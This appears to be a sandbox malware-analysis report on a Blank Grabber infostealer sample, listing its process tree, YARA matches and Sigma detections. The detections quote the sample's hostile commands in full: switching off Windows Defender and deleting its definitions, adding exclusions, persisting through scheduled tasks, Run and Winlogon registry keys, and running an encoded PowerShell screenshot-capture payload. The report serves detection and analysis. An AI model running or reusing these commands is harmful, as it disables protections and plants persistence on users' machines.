attrib.exe (PID: 4476 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 1888 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7436 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 3748 cmdline: C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7648 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 180 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7780 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7796 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7248 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 3528 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7536 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7420 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8104 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 6460 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 7760 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

schtasks.exe (PID: 7420 cmdline: schtasks.exe /create /tn "bMCzMxeQsb" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

Conhost.exe (PID: 8008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SolaraBootstrapper.exe (PID: 7140 cmdline: "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe" MD5: 6557BD5240397F026E675AFB78544A26)

conhost.exe (PID: 5232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7288 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI6522\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000003.2148834992.000001FCC2743000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: Built.exe PID: 652	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\agentInto\fontsessionruntime.exe, ProcessId: 4676, TargetFilename: C:\Program Files\Microsoft\OneDrive\conhost.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Built.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Built.exe, ParentProcessId: 6648, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'", ProcessId: 3996, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Built.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Built.exe, ParentProcessId: 6648, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 3504, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3996, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe', ProcessId: 2072, ProcessName: powershell.exe

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Built.exe, ProcessId: 6648, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe", EventID: 13, EventType: SetValue, Image: C:\agentInto\fontsessionruntime.exe, ProcessId: 4676, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bMCzMxeQsb

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe", EventID: 13, EventType: SetValue, Image: C:\agentInto\fontsessionruntime.exe, ProcessId: 4676, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACg